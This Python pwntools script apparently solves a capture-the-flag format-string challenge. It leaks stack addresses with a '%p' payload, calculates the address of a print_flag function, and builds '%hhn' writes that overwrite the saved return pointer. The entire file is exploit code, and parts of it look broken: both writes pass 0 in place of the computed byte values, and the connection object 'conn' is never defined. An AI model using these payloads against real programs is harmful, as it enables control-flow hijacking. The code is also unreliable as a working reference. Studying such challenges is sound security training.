#!/usr/bin/env python
from pwn import *

context.terminal = "kitty"

def write(data):
    print(f"data to send: {data}")
    return input("enter result: ").encode()

address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
print(f"received {address_leak_string}")

dot = address_leak_string.rfind(b'.')
address_leak = int(address_leak_string[dot+1:], 16)
print(f"return address: {hex(address_leak)}")

dot2 = address_leak_string.rfind(b'.', 0, dot)
stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16)
stack_address_ret = stack_address_leak_after_ret - 8
print(f"found stack address of ret pointer: {hex(stack_address_ret)}")

address_offset = 18
main_offset = 0x1401
print_flag_offset = 0x1269
address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset
print(f"jump address is: {hex(address_to_return_to)}")

# only 2 least significant address bytes have to be rewritten
print(f"first byte address: {p64(stack_address_ret)}")

# produces string that writes 0<=n<=255 to byte at address
# offset for alignment of memory address
# here, use offset 2
def produce_writer(n, address, offset=0, op=b"hhn"):
    if n < 0:
        log.error(f"n has to be >= 0, is {n}")
        exit()
    if n < 8:
        n_pre = n
        n_post = 8 - n_pre + offset
        return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address
    else:
        return f"%{n:03}$x..".encode() + b"%8$" + op + b'.'*offset + address

lower_byte_value = address_to_return_to%256
upper_byte_value = (address_to_return_to>>8)%256
print(f"lower byte value: {lower_byte_value}\nupper byte value: {upper_byte_value}")
write_lower_byte = write(produce_writer(0, p64(stack_address_ret), offset=2))
write_upper_byte = write(produce_writer(0, p64(stack_address_ret+1), offset=2))
conn.interactive(term.text.bold_red(">> "))